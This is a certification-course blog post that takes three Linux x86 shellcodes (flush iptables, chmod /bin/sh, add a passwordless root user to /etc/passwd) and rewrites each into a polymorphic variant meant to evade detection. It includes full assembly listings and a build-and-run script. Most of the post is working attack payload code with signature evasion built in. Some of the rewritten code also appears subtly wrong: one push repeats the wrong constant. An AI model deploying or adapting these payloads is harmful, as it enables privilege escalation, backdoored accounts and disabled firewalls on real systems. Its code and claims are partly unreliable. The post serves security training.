This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-644
GitHub resource containing challenge files:
https://github.com/bl305/SLAE32
Local link to source files:
http://itfanatic.com/files/Challenge_06_Final.ZIP
This assignment is about analysing three shellcodes in the ShellStorm page and create polymorphic versions of them to provide the same functionality but avoid detection.
I have decided to analyze and rewrite the following 3 shellcodes:
Analysis and rewrite of "iptables flush"
I have set the IPTABLES to a random value to test:
root@assembly:/home/user# iptables -A INPUT -j ACCEPT root@assembly:/home/user# iptables -L Chain INPUT (policy DROP) target prot opt source destination ACCEPT all -- anywhere anywhere Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination
I have compiled the shellstorm shellcode using gcc and then extracted the assembly code using GDB intel syntax. The result of GDB analysis was the original code:
section .text
        global _start
 
_start:
 
        xor eax,eax
        push eax
        push word 0x462d
        mov esi,esp
        push eax
        push dword 0x73656c62
        push dword 0x61747069
        push dword 0x2f6e6962
        push dword 0x732f2f2f
        mov ebx,esp
        push eax
        push esi
        push ebx
        mov ecx,esp
        mov edx,eax
        mov al,0xb
        int 0x80I have used this as a source code to be changed.
I have used a small perl command to read the hexa values:
perl -le 'print map {chr hex} qw/ 63 74 65 2f/'
I have used the following commands in the gdb to analyse the run of the shellcode:
set disassembly-flavor intel break *&code run disassemble define hook-stop disassemble info registers end
My modified code look like this:
section .text global _start _start: xor eax,eax push eax push word 0x462d mov esi,esp push eax ; push dword 0x73656c62 mov ebx, 0x61535A50 add ebx, 0x12121212 push ebx ; push dword 0x61747069 sub ebx, 0x11F0FBF9 push ebx ; push dword 0x2f6e6962 sub ebx, 0x32060707 push ebx ; push dword 0x732f2f2f add ebx, 0x43c0c5cd push ebx mov ebx,esp push eax push esi push ebx mov ecx,esp mov edx,eax ; mov al,0xb mov al,0xa inc al int 0x80
Changes: I have replaced the constants with a mathematical operations. See the commented lines and the replacement below each.

The script used to compile the thing can be found at the end of this post.

Size difference is ~35% increase.
Analysis and rewrite of "chmod /bin/sh"
I have compiled the shellstorm shellcode using gcc and then extracted the assembly code using GDB intel syntax. The result of GDB analysis was the original code:
section .text global _start _start: xor eax,eax xor ebx,ebx xor ecx,ecx push ebx push 0x68732f6e push 0x69622f2f mov ebx,esp mov cx,0x9fd mov al,0xf int 0x80 mov al,0x1 int 0x80

I have used this as a source code to be changed.
I have used a small perl command to read the hexa values:
perl -le 'print map {chr hex} qw/ 63 74 65 2f/'
I have used the following commands in the gdb to analyse the run of the shellcode:
set disassembly-flavor intel break *&code run disassemble define hook-stop disassemble info registers end
My modified code look like this:
section .text global _start _start: xor eax,eax xor ebx,ebx xor ecx,ecx push ebx ; push 0x68732f6e mov ebx, 0xD0E65EDC ror ebx, 1 push ebx ; push 0x69622f2f add ebx, 0xeeffc1 push ebx mov ebx,esp ; mov cx,0x9fd mov cx, 0x13fa ror cx, 1 ; mov al,0xf mov al, 0x1e ror al, 1 int 0x80 ; mov al,0x1 add al, 0x1 int 0x80
Changes: I have replaced the constants with a mathematical operations. See the commented lines and the replacement below each.
The script used to compile the thing can be found at the end of this post.

Size difference is ~50% decrease.
Analysis and rewrite of "add a root user into /etc/passwd with no password"
I have compiled the shellstorm shellcode using gcc and then extracted the assembly code using GDB intel syntax. The result of GDB analysis was the original code:
section .text global _start _start: xor eax,eax xor ebx,ebx xor ecx,ecx push ebx push 0x64777373 push 0x61702f63 push 0x74652f2f mov ebx,esp mov cx,0x401 mov al,0x5 int 0x80 mov ebx,eax xor eax,eax xor edx,edx push 0x68732f6e push 0x69622f2f push 0x3a2f3a3a push 0x303a303a push 0x3a626f62 mov ecx,esp mov dl,0x14 mov al,0x4 int 0x80 xor eax,eax mov al,0x6 int 0x80 xor eax,eax mov al,0x1 int 0x80
I have used this as a source code to be changed.
I have used a small perl command to read the hexa values:
perl -le 'print map {chr hex} qw/ 63 74 65 2f/'
I have used the following commands in the gdb to analyse the run of the shellcode:
set disassembly-flavor intel break *&code run disassemble define hook-stop disassemble info registers end
My modified code look like this:
section .text
	global _start
 
_start: 
	xor    eax,eax
;xor    ebx,ebx
;xor    ecx,ecx
	mov eax,ecx
;push   ebx
	push   eax
 
;push   0x64777373
	mov ebx, 0xC8EEE6E6
	ror ebx, 1
	mov dword [esp-4], ebx
	sub esp,4
 
;push   0x61702f63
	mov ebx, 0xC2E05EC6
	ror ebx, 1
	push ebx
 
;push   0x74652f2f
	mov ebx, 0xE8CA5E5E
	ror ebx, 1
	push ebx
 
	mov    ebx,esp
	mov    cx,0x401
	mov    al,0x5
	int    0x80
	mov    ebx,eax
;xor    eax,eax
	xor    edx,edx
 
;push   0x68732f6e
	mov ecx, 0xD0E65EDC
	ror ecx, 1
	push ecx
 
;push   0x69622f2f
        mov ecx, 0xD0E65EDC
        ror ecx, 1
        push ecx
 
;push   0x3a2f3a3a
        mov ecx, 0x745E7474
        ror ecx, 1
        push ecx
 
;push   0x303a303a
        mov ecx, 0x60746074
        ror ecx, 1
        push ecx
 
;push   0x3a626f62
        mov ecx, 0x74C4DEC4
        ror ecx, 1
        push ecx
 
	mov    ecx,esp
	mov    dl,0x14
	mov    al,0x4
	int    0x80
;xor    eax,eax
	mov    al,0x6
	int    0x80
;xor    eax,eax
	mov    al,0x1
	int    0x80 Changes: I have replaced the constants with a mathematical operations used previously. See the commented lines and the replacement below each.
In one case instead of pushing the value to the stack I have directly moved it onto it using "mov dword [esp-4], ebx". Stack pointer adjustment followed: "sub esp,4"
The script used to compile the thing can be found at the end of this post.

Size difference is ~26% increase.
Script to generate the shellcode from assembly:
#!/bin/bash echo '[+] Assembling with Nasm ... ' nasm -f elf32 -o $1.o $1.nasm echo '[+] Linking ...' ld -o $1 $1.o echo '[+] Objdump ...' #mycode1=`objdump -d ./$1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\\x/g'|paste -d '' -s |sed 's/^/"/' | sed 's/$/"/g'` #echo $mycode1 #mycode2=`objdump -d ./$1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\\x/g'|paste -d '' -s |sed 's/^/"/' | sed 's/$/"/g'` #echo $mycode2 >tmp.txt for i in `objdump -d $1|tr '\t' ' '|tr ' ' '\n'|grep -Eo '^[0-9a-f]{2}$'` ; do echo -n "\x$i" >>tmp.txt ; done mycode=`cat tmp.txt` #echo $mycode echo '[+] Assemble shellcode C ...' echo "#include<stdio.h>" >shellcode.c echo "#include<string.h>" >>shellcode.c echo "unsigned char code[] = \"\\" >>shellcode.c echo $mycode"\";" >>shellcode.c echo "main()" >>shellcode.c echo "{" >>shellcode.c echo "printf(\"Shellcode Length: %d\n\", strlen(code));" >>shellcode.c echo " int (*ret)() = (int(*)())code;" >>shellcode.c echo " ret();" >>shellcode.c echo "}" >>shellcode.c echo '[+] Compile shellcode.c' gcc -fno-stack-protector -z execstack shellcode.c -o shellcode echo '[+] Done!'